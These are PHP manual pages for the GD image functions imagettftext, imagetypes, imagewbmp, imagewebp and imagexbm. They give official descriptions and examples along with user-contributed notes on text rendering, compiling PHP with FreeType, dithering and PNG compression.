$bgcolor = imagecolorallocate($im, $bgred,$bggreen,$bgblue);

### Declare image's text color
$fontcolor = imagecolorallocate($im, $textred,$textgreen,$textblue);

### Get exact dimensions of text string
$box = @imageTTFBbox($fontsize,$fontangle,$font,$text);

### Get width of text from dimensions
$textwidth = abs($box[4] - $box[0]);

### Get height of text from dimensions
$textheight = abs($box[5] - $box[1]);

### Get x-coordinate of centered text horizontally using length of the image and length of the text
$xcord = ($imagewidth/2)-($textwidth/2)-2;

### Get y-coordinate of centered text vertically using height of the image and height of the text
$ycord = ($imageheight/2)+($textheight/2);

### Declare completed image with colors, font, text, and text location
imagettftext ( $im, $fontsize, $fontangle, $xcord, $ycord, $fontcolor, $font, $text );

### Display completed image as PNG
imagepng($im);

### Close the image
imagedestroy($im);
?>
jwe 24-Jul-2006 08:48
I found this line a little confusing:

"May include decimal numeric character references (of the form: &#8364;) to access characters in a font beyond position 127."

I was using a font that had apostrophes and quotes stored in a non-standard position, and so they were being rendered as spaces by imagettftext.  This line seemed to suggest a solution, but it took a while to figure it out.

Turns out, a "decimal numeric character reference" is a decimal conversion of the hex value of the *unicode* position of the character you want.  For a while I was trying ASCII positions (I knew the ALT+ code for typing the character I needed in Windows).

In the Windows XP character map, the unicode positions are shown as U+2018 or U+201C, etc.  Ignore the U+ and convert that hex number to decimal, and then stick that in your text string with the &# on the front and ; on the end, and pass it to imagettftext.

--Julian
jwe 19-Jul-2006 05:48
Quick tip for anyone who is receiving text like in the example in this page (ie: through $_GET['text'] or something similar) and needs to format the text into multiple lines.  The trick is finding the spaces...

<?php
$text = $_GET['text'];
// for a maximum of 38 characters on a line...
while(strlen($text) > 38) {
   $startPoint = 37;
   // find a space to break the line on
   while(substr($text, $startPoint, 1) != " ") {
        $startPoint--;
   }
   $line[] = trim(substr($text, 0, $startPoint));
   $text = substr($text, $startPoint);
}
$line[] = trim($text);
?>

The result is an array called $line that contains all the lines of text you need to output in order.

The only tasks left are to determine the correct height of the image based on the font size you want to use.  Don't forget to leave some padding space for punctuation and descenders between lines (commas, g, q, p, y, etc).

imagettftext is unbelievably useful when you need to create header images using non-standard fonts.  Amazing.  Huge thanks to the devs.

--Julian
admin at sgssweb dot com 01-May-2006 01:08
Another way of the bellow. After creating a child class of GMIPluggableSet class, which should override two method: getExpression() and getVariables(), throw it to a instance of FontImageGenerator class.
For example, the code follows:

<?php

require_once 'package.fig.php';

class SampleFontImagePluggableSet
    extends GMIPluggableSet
{
    var $defaultVariables = array(
        "text" => null,
        "size" => null,
        "font" => null,
        "color" => "0x000000",
        "alpha" => "100",
        "padding" => 0,
        "width" => null,
        "height" => null,
        "align" => "left",
        "valign" => "middle",
        "bgcolor" => "0xffffff",
        "antialias" => 4
    );

    function SampleFontImagePluggableSet() {
        parent::GMIPluggableSet();
    }

    function getExpression() {
        return "size {width}, {height};".
               "autoresize none;".
               "type gif, 256, {color: {bgcolor}};".
               "padding {padding};".
               "color {color: {bgcolor}};".
               "fill;".
               "color {color: {color}, {alpha}};".
               "antialias {antialias};".
               "font {font}, {size};".
               "string {text}, 0, 0, {width}, {height}, {align}, {valign};";
    }

    function getVariables() {
        return array_merge($this->defaultVariables, $_GET);
    }
}

$pluggableSet = new SampleFontImagePluggableSet();
$fig = new FontImageGenerator();
$fig->setPluggableSet($pluggableSet);
$fig->execute();

?>

This output a image with the text defined in $_GET['text'], the font in $_GET['font'], the text color in $_GET['color'], the background in $_GET['bgcolor'], and so on.

The script file is available at: http://sgssweb.com/experiments/?file=PHPFontImageGenerator .
ugo dot quaisse at gmail dot com 19-Apr-2006 03:03
This is a script that aim at center the (multi) lines :

<?php
header("Content-type: image/png");

//1line per column
$text=array(0=>"line 1",1=>"line 2");

$largeur=500;
$line_height=30;
$hauteur=sizeof($text)*$line_height;

// Create the image
$im = imagecreatetruecolor($largeur, $hauteur);

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 225, 225, 225);
$blue = imagecolorallocate($im, 0, 62, 126);
imagefilledrectangle($im, 0, 0, $largeur, $hauteur, $white);

// Replace path by your own font path
$font = 'font.ttf';

for($i=0;$i<=sizeof($text);$i++) {
//Center the text
$size = imagettfbbox(20, 0, $font, $text[$i]);
$long_text = $size[2]+$size[0];
$posx=($largeur-$long_text)/2;
// Add the text
imagettftext($im, 20, 0, $posx, $line_height+$line_height*$i, $blue, $font, $text[$i]);
}

imagepng($im);
imagedestroy($im);
?>
mats dot engstrom at gmail dot com 28-Mar-2006 11:23
I'll second the note from --colobri--.

Just adding --with-ttf and --with-freetype-dir=/usr/lib/ on the ./configure and then doing a "make; make install" is not enough.

I had to do a "make clean" and then a "make install" in order to get the FreeType-support enabled.

Here are my relevant ./configure lines:
--with-gd \
--enable-gd-native-ttf \
--with-ttf \
--with-freetype-dir=/usr/lib/ \
--with-jpeg-dir=/usr/lib/libjpeg.so.62 \
--enable-exif \
admin at phpru dot com 28-Feb-2006 06:52
On my conf: php5.1.2+apache 1.33
iconv() function works very well with all cyrillic encodings, so you needn't to write your function like win2uni
--Colibri-- 28-Jan-2006 09:53
If you have configured and compiled PHP with all the necessary command-line options and still get the error:

Fatal error: Call to undefined function imagettftext()

Try doing a "make clean"  before building the php apache module:

./configure [...]
make clean
make
make install

This may solve your problem (and hopefully keep you from wasting hours trying different compile options!)
nospam at nospam dot nospam 23-Jan-2006 12:51
I've found that upsampling your text by a factor of 8 or more can really improve the readability of generated text, especially in smaller font sizes (9 or less). I find it also helps with fonts that have kerning to reduce space between letters such as capital T and capital A (TA) where the top-right of the T will be cut off due to GD "features".

I can't tell you, the reader, exactly how to do this, as it will depend on how you are currently generating your text, but essentially what you want to try doing is upsize your font by a factor of 8 and then scale down the resulting image by the same factor.

So if you were using font size 10, use font size 80 and use imagecopyresampled() to divide the width/height down again by 8. The resulting image will be a few pixels different in width / height compared to direct text writing, so make sure to check your image sizes if you are using fixed dimensions.

Play around with other factors, 16 is a bit nicer but results in a higher CPU/RAM load when processing. Any higher is unnecessary I think. If possible you should also cache the image to a file instead of reprocessing it each request.
Mer`Zikain 10-Jan-2006 09:41
I was looking for a way to add kerning to my text and finally just made this function to do it. Of course, if you're generating the size of the image based on the text you're putting in it, you'll have to figure out the new size to fit the new text width but I'm sure you can figure that out.

for($i=0;$i<strlen($text);$i++){
        // Get single character
    $value=substr($text,$i,1);
    if($pval){ // check for existing previous character
        list($lx,$ly,$rx,$ry) = imagettfbbox($fontsize,0,$font,$pval);
        $nxpos+=$rx+3;
    }else{
        $nxpos=0;
    }
        // Add the letter to the image
    imagettftext($im, $fontsize, 0, $nxpos, $ypos, $fontcolor, $font, $value);
    $pval=$value; // save current character for next loop
}
a4W 23-Oct-2005 09:28
This function will make your text bold:
<?php
function drawboldtext($image, $size, $angle, $x_cord, $y_cord, $r, $g, $b, $fontfile, $text)
{
   $color = ImageColorAllocate($image, $r, $g, $b);
   $_x = array(1, 0, 1, 0, -1, -1, 1, 0, -1);
   $_y = array(0, -1, -1, 0, 0, -1, 1, 1, 1);
   for($n=0;$n<=8;$n++)
   {
      ImageTTFText($image, $size, $angle, $x_cord+$_x[$n], $y_cord+$_y[$n], $color, $fontfile, $text);
   }
}
?>
limalopex.eisfux.de 03-Oct-2005 06:17
If you have problems displaying german umlauts or other chars with an ascii value > 127, try to convert the text-parameter first. The following function converts character-values > 127 (both: UTF-8 + ANSI) to HTML's numeric coded entities:

<?php
define('EMPTY_STRING', '');

function foxy_utf8_to_nce(
  $utf = EMPTY_STRING
) {
  if($utf == EMPTY_STRING) return($utf);

  $max_count = 5; // flag-bits in $max_mark ( 1111 1000 == 5 times 1)
  $max_mark = 248; // marker for a (theoretical ;-)) 5-byte-char and mask for a 4-byte-char;

  $html = EMPTY_STRING;
  for($str_pos = 0; $str_pos < strlen($utf); $str_pos++) {
    $old_chr = $utf{$str_pos};
    $old_val = ord( $utf{$str_pos} );
    $new_val = 0;

    $utf8_marker = 0;

    // skip non-utf-8-chars
    if( $old_val > 127 ) {
      $mark = $max_mark;
      for($byte_ctr = $max_count; $byte_ctr > 2; $byte_ctr--) {
        // actual byte is utf-8-marker?
        if( ( $old_val & $mark  ) == ( ($mark << 1) & 255 ) ) {
          $utf8_marker = $byte_ctr - 1;
          break;
        }
        $mark = ($mark << 1) & 255;
      }
    }

    // marker found: collect following bytes
    if($utf8_marker > 1 and isset( $utf{$str_pos + 1} ) ) {
      $str_off = 0;
      $new_val = $old_val & (127 >> $utf8_marker);
      for($byte_ctr = $utf8_marker; $byte_ctr > 1; $byte_ctr--) {

        // check if following chars are UTF8 additional data blocks
        // UTF8 and ord() > 127
        if( (ord($utf{$str_pos + 1}) & 192) == 128 ) {
          $new_val = $new_val << 6;
          $str_off++;
          // no need for Addition, bitwise OR is sufficient
          // 63: more UTF8-bytes; 0011 1111
          $new_val = $new_val | ( ord( $utf{$str_pos + $str_off} ) & 63 );
        }
        // no UTF8, but ord() > 127
        // nevertheless convert first char to NCE
        else {
          $new_val = $old_val;
        }
      }
      // build NCE-Code
      $html .= '&#'.$new_val.';';
      // Skip additional UTF-8-Bytes
      $str_pos = $str_pos + $str_off;
    }
    else {
      $html .= chr($old_val);
      $new_val = $old_val;
    }
  }
  return($html);
}
?>
alexey at NOSPAMPLS dot ozerov dot de 31-Aug-2005 09:30
Notice that the path to the TrueType font has to be included in open_basedir list if open_basedir restriction is activated in php.ini.
gav-alex at bk dot ru 10-Aug-2005 06:05
Hi all!
When my hoster updated his php's libs at first minutes i've got the same problem as some of you.
Php couldn't find the path to true type fonts.
The solution in my case was to make the path look like this
<?php
imagettftext($im, 20, 0, 620, 260, $secondary_color, "./tahoma.ttf" , "NEWS");
?>
so as you can see i simply added "./"

another tip that i wanted to add here is how to write in RUssian on image using imagettftext
you simply have to change the function argument like this
<?php
imagettftext($im, 15, 0, 575, 300, $secondary_color, "./tahoma.ttf" , win2uni("some word in russian"));
 ?>
where win2uni is the function that converts win1251 to unicode. here is the code of it
<?php

  //  Windows 1251 -> Unicode
  function win2uni($s)
  {
    $s = convert_cyr_string($s,'w','i'); //  win1251 -> iso8859-5
    //  iso8859-5 -> unicode:
    for ($result='', $i=0; $i<strlen($s); $i++) {
      $charcode = ord($s[$i]);
      $result .= ($charcode>175)?"&#".(1040+($charcode-176)).";":$s[$i];
    }
    return $result;
  }
?>

That's all today! Thanks for your attention!
Alex
BuddyHacker 21-Jul-2005 11:55
A correction to Paul Reinheimer's note above regarding this PHP error:

Fatal error: Call to undefined function imagettftext().

Paul states that you need XPM libraries to resolve this issue.  This is not true.  There is an error message that originates from "configure" which mistakenly shows itself when other components are missing.  For instance, if you tell "configure" to add JPEG support, and it can't find the libraries, it will tell you it can't find the JPEG libraries AND it will recommend adding --with-xpm to solve the problem.  This recommendation is ill-placed and misleading.

I received the same error message above, along with the recommendation to add XPM supprt.  However I resolved it by adding the --with-freetype-dir  AND --enable-gd-native-ttf  options  to the "configure" command line.  I did _not_ need XPM.

There are other variations to this error message, such as the script recommending adding JPEG support or PNG support to resolve it's own inability to locate other libraries.  The script needs some cleanup in order to fix these poorly placed recommendations.

FYI, imagettftext() is a call to one of the truetype fonts functions.  It is NOT related in any way to the XPM libraries, so it is not required unless you explicitly want XPM functionality.
nick 01-Apr-2005 10:18
A trivial function to get right or centre aligned horizontal text:

function imagettftextalign($image, $size, $angle, $x, $y, $color, $font, $text, $alignment='L') {

    //check width of the text
    $bbox = imagettfbbox ($size, $angle, $font, $text);
    $textWidth = $bbox[2] - $bbox[0];
    switch ($alignment) {
        case "R":
            $x -= $textWidth;
            break;
        case "C":
            $x -= $textWidth / 2;
            break;
    }

    //write text
    imagettftext ($image, $size, $angle, $x, $y, $color, $font, $text);

}
erik[at]phpcastle.com 04-Mar-2005 01:46
Remember!!!

When uploading a font to your website you have to set the transfer mode to binary. It took me some time to find out :P. Tried to download the font from my website and it was spoiled.

In your script, the path to your font, use realpath("arial.ttf") so there is no confusion about that.
pillepop2003 at nospam dot yahoo dot de 12-Jan-2005 02:14
Hey guys,

check this function if you want to rotate the text around its center and not its "lower left" pivot-point:

<?php
        // Put center-rotated ttf-text into image
        // Same signature as imagettftext();
        function imagettftext_cr(&$im, $size, $angle, $x, $y, $color, $fontfile, $text)
        {
            // retrieve boundingbox
            $bbox = imagettfbbox($size, $angle, $fontfile, $text);

            // calculate deviation
            $dx = ($bbox[2]-$bbox[0])/2.0 - ($bbox[2]-$bbox[4])/2.0;         // deviation left-right
            $dy = ($bbox[3]-$bbox[1])/2.0 + ($bbox[7]-$bbox[1])/2.0;        // deviation top-bottom

            // new pivotpoint
            $px = $x-$dx;
            $py = $y-$dy;

            return imagettftext($im, $size, $angle, $px, $py, $color, $fontfile, $text);
        }

?>

Big up
Phil
Paul Reinheimer 20-Sep-2004 12:33
If you compiled PHP yourself but get an error:
Fatal error: Call to undefined function imagettftext().

You need to compile PHP with more options.

--with-gd
--enable-gd-native-ttf
--with-png
--with-zlib-dir=/usr/local/lib/zlib-1.2.1
--with-ttf
--with-jpeg-dir=/usr/local/lib/jpeg-6b/
--with-freetype-dir=/usr/local/lib/freetype-2.1.9/
--with-xpm-dir=/usr/X11R6/

The next set deal with setting up GD, and the appropriate options. Just enabling GD, ttf, png & jpeg is NOT enough. You also need Freetype and XPM.
plusplus7 at hotmail dot com 15-Jul-2004 10:37
If you are getting all rectangles instead of text, it may well mean that your ttf font is not opentype, particularly if it is an older freeware one. This requirement didn't exist in older versions so you may find that your font stops working after you upgrade. To fix this problem, try downloading the free MS Volt utility. From there, open your font file, and then click on Compile, and resave.
02-Dec-2002 08:13
If you have an older version of the GD library, but wish to use a font file which has spaces in the path, you should convert the path into DOS style names. This will only work on windows.

For example:
C:\reallylongpath\reallylongpath\font.ttf
Would become:
C:\really~1\really~1\font.ttf


Return the image types supported by this PHP build

  • « imagettftext
  • imagewbmp »
  • PHP Manual
  • GD and Image Functions
  • Return the image types supported by this PHP build

imagetypes

(PHP 4 >= 4.0.2, PHP 5)

imagetypes — Return the image types supported by this PHP build

Description

int imagetypes ( void )

Returns the image types supported by the current PHP installation.

Return Values

Returns a bit-field corresponding to the image formats supported by the version of GD linked into PHP. The following bits are returned, IMG_GIF | IMG_JPG | IMG_PNG | IMG_WBMP | IMG_XPM.

Examples

Example #1 Checking for PNG support

<?php
if (imagetypes() & IMG_PNG) {
    echo "PNG Support is enabled";
}
?>

User Contributed Notes

ThunderCrew 31-Jul-2007 04:38
Im not a smart man but this seemd to be the simplest code and it worked.
Its at the very top of this directory.

<?php
var_dump(gd_info());
?>

Returned image info and more.

array(11) { ["GD Version"]=> string(27) "bundled (2.0.28 compatible)" ["FreeType Support"]=> bool(true) ["FreeType Linkage"]=> string(13) "with freetype" ["T1Lib Support"]=> bool(false) ["GIF Read Support"]=> bool(true) ["GIF Create Support"]=> bool(true) ["JPG Support"]=> bool(true) ["PNG Support"]=> bool(true) ["WBMP Support"]=> bool(true) ["XBM Support"]=> bool(true) ["JIS-mapped Japanese Font Support"]=> bool(false) }
enyo 06-Nov-2003 04:32
Why not use this function?

<?php
function getSupportedImageTypes() {
    $aSupportedTypes = array();

    $aPossibleImageTypeBits = array(
        IMG_GIF=>'GIF',
        IMG_JPG=>'JPG',
        IMG_PNG=>'PNG',
        IMG_WBMP=>'WBMP'
    );

    foreach ($aPossibleImageTypeBits as $iImageTypeBits => $sImageTypeString) {
        if (imagetypes() & $iImageTypeBits) {
            $aSupportedTypes[] = $sImageTypeString;
        }
    }

    return $aSupportedTypes;
}
?>
jaldinger (at) consulturdorado (dot) com 08-Jan-2003 09:31
Please note that if only "GIF Read Support" is enabled, the
IMG_GIF bit will not be returned (at least on my system:
PHP 4.3.0/RH Linux 7.2).

To work around this issue, and also the issue that there is no
function that can tell me what image format a GD resource ID
refers to, I use the following switch statement to map the exif
IMAGETYPE_* constants to the GD IMG_* constants:

switch (exif_imagetype($file['tmp_name'])) {
    case IMAGETYPE_GIF:
        $image_type = IMG_GIF;
        break;
    case IMAGETYPE_JPEG:
        $image_type = IMG_JPG;
        break;
    case IMAGETYPE_PNG:
        $image_type = IMG_PNG;
        break;
    case IMAGETYPE_WBMP:
        $image_type = IMG_WBMP;
        break;
     default:
        $image_type = 0;
        break;
}

store this value together with the image data in a database
and later use the following IF statement to see if I can work
with that image (create a thumbnail, etc...)

if ($image_type & (imagetypes() | IMG_GIF)) {
    return $this->createJpegThumbailFromString($data, 46, 27);
} else {
    return file_get_contents($_SERVER['DOCUMENT_ROOT'] .
        '/gfx/no-thumbnail.jpg');
}

HTH anybody...

Joerg.


Output image to browser or file

  • « imagetypes
  • imagewebp »
  • PHP Manual
  • GD and Image Functions
  • Output image to browser or file

imagewbmp

(PHP 4 >= 4.0.1, PHP 5)

imagewbmp — Output image to browser or file

Description

bool imagewbmp ( resource $image [, string $filename [, int $foreground ]] )

imagewbmp() outputs or save a WBMP version of the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

The path to save the file to. If not set or NULL, the raw image stream will be outputted directly.

foreground

You can set the foreground color with this parameter by setting an identifier obtained from imagecolorallocate(). The default foreground color is black.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Outputting a WBMP image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Set the content type header - in this case image/vnd.wap.wbmp
// Hint: see image_type_to_mime_type() for content-types
header('Content-Type: image/vnd.wap.wbmp');

// Output the image
imagewbmp($im);

// Free up memory
imagedestroy($im);
?>

Example #2 Saving the WBMP image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Save the image
imagewbmp($im, 'simpletext.wbmp');

// Free up memory
imagedestroy($im);
?>

Example #3 Outputting the image with a different foreground

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Set the content type header - in this case image/vnd.wap.wbmp
// Hint: see image_type_to_mime_type() for content-types
header('Content-Type: image/vnd.wap.wbmp');

// Set a replacement foreground color
$foreground_color = imagecolorallocate($im, 255, 0, 0);

imagewbmp($im, NULL, $foreground_color);

// Free up memory
imagedestroy($im);
?>

Notes

Note:

WBMP support is only available if PHP was compiled against GD-1.8 or later.

See Also

  • image2wbmp() - Output image to browser or file
  • imagepng() - Output a PNG image to either the browser or a file
  • imagegif() - Output image to browser or file
  • imagejpeg() - Output image to browser or file
  • imagetypes() - Return the image types supported by this PHP build

User Contributed Notes

andre at bynetworld dot com 19-Dec-2007 02:31
In the previous note by -> lukeross at sys3175 dot co dot uk <- there is a coding error in the for() loops. After correcting the error, I found that this function did a great job of  converting color images to 2 colors.
The following is the corrected function code:

function ImageColorFloydSteinberg($dst_img, $src_img) {
    ImageColorAllocate($dst_img, 0,0,0);
    ImageColorAllocate($dst_img, 255,255,255);
    $isx = ImageSX($src_img);
    $isy = ImageSY($src_img);
    $grey_img = ImageCreate($isx, $isy);
    for ($a = 0; $a <= 255; $a++) ImageColorAllocate($grey_img, $a,$a,$a);
    $isx -= 1; // To correct pixel count in source image width starting from 0
    $isy -= 1; // Correcting pixel count in source image height starting from 0
    for($x = 0; $x <= $isx; $x++) {
        for($y = 0; $y <= $isy; $y++) {
            $color = ImageColorsForIndex($src_img, ImageColorAt($src_img, $x, $y));
            $greyscale = .299 * $color["red"] + .587 * $color["green"] + .114 * $color["blue"];
            ImageSetPixel($grey_img, $x, $y, ImageColorClosest($grey_img, $greyscale, $greyscale, $greyscale));
        }
    }
    for($x = 0; $x <= $isx; $x++) {
        for($y = 0; $y <= $isy; $y++) {
            $color = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y));
            if ($color["red"] > 128) {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,255,255,255));
                $err = $color["red"] - 255;
            } else {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,0,0,0));
                $err = $color["red"];
            }
            if ($x != $isx) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y));
                $newgrey = $color2["red"] + $err * 7 / 16;
                ImageSetPixel($grey_img, $x+1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != 0) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x-1, $y));
                $newgrey = $color2["red"] + $err * 3 / 16;
                ImageSetPixel($grey_img, $x-1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($y != $isy) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y+1));
                $newgrey = $color2["red"] + $err * 5 / 16;
                ImageSetPixel($grey_img, $x, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != $isx && $y != $isy) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y+1));
                $newgrey = $color2["red"] + $err / 16;
                ImageSetPixel($grey_img, $x+1, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }

        }
    }
    imagedestroy($grey_img);
}
lukeross at sys3175 dot co dot uk 28-Feb-2002 10:57
As has been commented before, GD doesnt do a very good translation to 2-colours, especially for photos.  The following routine converts to two colours, I believe using error diffusion (the algorithm's nicked off news).  It's slow, but just about adequate for small images and low load.  I suspect it can be made much more efficient :-)

function ImageColorFloydSteinberg($dst_img, $src_img) {
    ImageColorAllocate($dst_img, 0,0,0);
    ImageColorAllocate($dst_img, 255,255,255);
    $grey_img = ImageCreate(ImageSX($src_img), ImageSY($src_img));
    for ($a = 0; $a <= 255; $a++) ImageColorAllocate($grey_img, $a,$a,$a);
    for($x = 0; $x <= ImageSX($src_img); $x++) {
        for($y = 0; $y <= ImageSY($src_img); $y++) {
            $color = ImageColorsForIndex($src_img, ImageColorAt($src_img, $x, $y));
            $greyscale = .299 * $color["red"] + .587 * $color["green"] + .114 * $color["blue"];
            ImageSetPixel($grey_img, $x, $y, ImageColorClosest($grey_img, $greyscale, $greyscale, $greyscale));
        }
    }
    for($x = 0; $x <= ImageSX($src_img); $x++) {
        for($y = 0; $y <= ImageSY($src_img); $y++) {
            $color = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y));
            if ($color["red"] > 128) {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,255,255,255));
                $err = $color["red"] - 255;
            } else {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,0,0,0));
                $err = $color["red"];
            }
            if ($x != ImageSx($src_img)) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y));
                $newgrey = $color2["red"] + $err * 7 / 16;
                ImageSetPixel($grey_img, $x+1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != 0) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x-1, $y));
                $newgrey = $color2["red"] + $err * 3 / 16;
                ImageSetPixel($grey_img, $x-1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($y != ImageSy($src_img)) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y+1));
                $newgrey = $color2["red"] + $err * 5 / 16;
                ImageSetPixel($grey_img, $x, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != ImageSx($src_img) && $y != ImageSy($src_img)) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y+1));
                $newgrey = $color2["red"] + $err / 16;
                ImageSetPixel($grey_img, $x+1, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }

        }
    }
    imagedestroy($grey_img);
}

To output your WBMP, use

ImageWBMP($final_img, "", ImageColorClosest(255,255,255));


Output an WebP image to browser or file

  • « imagewbmp
  • imagexbm »
  • PHP Manual
  • GD and Image Functions
  • Output an WebP image to browser or file

imagewebp

(PHP 5 >= 5.5.0)

imagewebp — Output an WebP image to browser or file

Description

bool imagewebp ( resource $image , string $filename )

Outputs or save an WebP version of the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

The path to save the file to. If not set or NULL, the raw image stream will be outputted directly.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Saving an WebP file

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);

imagestring($im, 1, 5, 5,  'WebP with PHP', $text_color);

// Save the image
imagewebp($im, 'php.webp');

// Free up memory
imagedestroy($im);
?>

User Contributed Notes

orangefish at sogetthis dot com 26-Jun-2013 08:32
WebP is a great file format, but it's basically supported only by Chrome. For WebP files with transparency it's necessary to have PNG fallback for other browsers (otherwise it won't work in iOS, Firefox, IE, etc.).

Regular truecolor PNG with alpha gives pretty large files, but there's a special smaller PNG file variant that can be created by pngquant - a command line utility.

If you have pngquant 1.8 on your server (just get package from official pngquant website), then you can create small fallback images (with quality better than from PHP's libgd):

<?php

/**
 * Optimizes PNG file with pngquant 1.8 or later (reduces file size of 24-bit/32-bit PNG images).
 *
 * You need to install pngquant 1.8.x on the server (ancient version 1.0 won't work).
 * There's package for Debian/Ubuntu and RPM for other distributions on http://pngquant.org
 *
 * @param $path_to_png_file string - path to any PNG file, e.g. $_FILE['file']['tmp_name']
 * @param $max_quality int - conversion quality, useful values from 60 to 100 (smaller number = smaller file)
 * @return string - content of PNG file after conversion
 */
function compress_png($path_to_png_file, $max_quality = 90)
{
    if (!file_exists($path_to_png_file)) {
        throw new Exception("File does not exist: $path_to_png_file");
    }

    // guarantee that quality won't be worse than that.
    $min_quality = 60;

    // '-' makes it use stdout, required to save to $compressed_png_content variable
    // '<' makes it read from the given file path
    // escapeshellarg() makes this safe to use with any path
    $compressed_png_content = shell_exec("pngquant --quality=$min_quality-$max_quality - < ".escapeshellarg(    $path_to_png_file));

    if (!$compressed_png_content) {
        throw new Exception("Conversion to compressed PNG failed. Is pngquant 1.8+ installed on the server?");
    }

    return $compressed_png_content;
}
?>

So for example when user is uploading a PNG file:

<?php

$read_from_path = $_FILE['file']['tmp_name'];
$save_to_path = "uploads/compressed_file.png";

$compressed_png_content = compress_png($read_from_path);
file_put_contents($save_to_path, $compressed_png_content);

// you don't need move_uploaded_file().

// and for webp:
imagewebp(imagecreatefrompng($read_from_path), $save_to_path + ".webp");
?>

And then you can use URL with .webp version in Chrome and browsers that send Accept: image/webp, and .png for the rest (and all will get small file!)


Output an XBM image to browser or file

  • « imagewebp
  • iptcembed »
  • PHP Manual
  • GD and Image Functions
  • Output an XBM image to browser or file

imagexbm

(PHP 5)

imagexbm — Output an XBM image to browser or file

Description

bool imagexbm ( resource $image , string $filename [, int $foreground ] )

Outputs or save an XBM version of the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

The path to save the file to. If not set or NULL, the raw image stream will be outputted directly.

foreground

You can set the foreground color with this parameter by setting an identifier obtained from imagecolorallocate(). The default foreground color is black.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Saving an XBM file

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Save the image
imagexbm($im, 'simpletext.xbm');

// Free up memory
imagedestroy($im);
?>

Example #2 Saving an XBM file with a different foreground color

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Set a replacement foreground color
$foreground_color = imagecolorallocate($im, 255, 0, 0);

// Save the image
imagexbm($im, NULL, $foreground_color);

// Free up memory
imagedestroy($im);
?>

Notes

User Contributed Notes

Anonymous 26-May-2011 10:17
FlagCreation with some random text inside.

<?php
class Logo{
    private $colors;
        private $imgWidth;
    private $imgHeight;
    private $img;
    private $text;

    public function __construct($width = 100, $height = 60){
        $this->imgWidth = $width;
        $this->imgHeight = $height;
        $this->text = "RND TEXT";
        $this->createImage();
    }

    public function getText(){
        return $this->text;
    }

    public function createImage(){
        $this->img = imagecreatetruecolor($this->imgWidth,$this->imgHeight);
            $farbe = array(200,200,200);
            $this->colors[0] = $this->makeColor($farbe);
            $farbe = array(100,100,200);
            $this->colors[1] = $this->makeColor($farbe);

        imagefill($this->img,0,0,$this->colors[0]);

        $streifenhoehe = intval($this->imgHeight / 6);
        $textgroesse = intval($streifenhoehe *2);
        $y = 0;
        $x = 0;

        imagefilledrectangle($this->img,0,0,$this->imgWidth,$streifenhoehe,$this->colors[1]);
        $y = $this->imgHeight - $streifenhoehe;
        imagefilledrectangle($this->img,0,$y,$this->imgWidth,$this->imgHeight,$this->colors[1]);

        $textma = imagettfbbox ( $textgroesse ,0 , "ARIAL.TTF", $this->text);
        $textanfang = ($this->imgWidth - ($textma[2] - $textma[0]))/2;
        $textanfang_hoehe = intval(($this->imgHeight-($textma[7]-$textma[1]))/2);

         imagettftext($this->img, $textgroesse,0,$textanfang, $textanfang_hoehe, $this->colors[1],"ARIAL.TTF", $this->text);

    }

    public function makeColor($color){
        if (count($color)%3 != 0)
            return false;
        else
            return imagecolorallocate($this->img,$color[0],$color[1],$color[2]);
    }

    public function getImage(){
         header('Content-Type: image/gif', true);
        imagejpeg($this->img);
    }
}

$logo = new Logo(300,180);
$logo->getImage();
?>


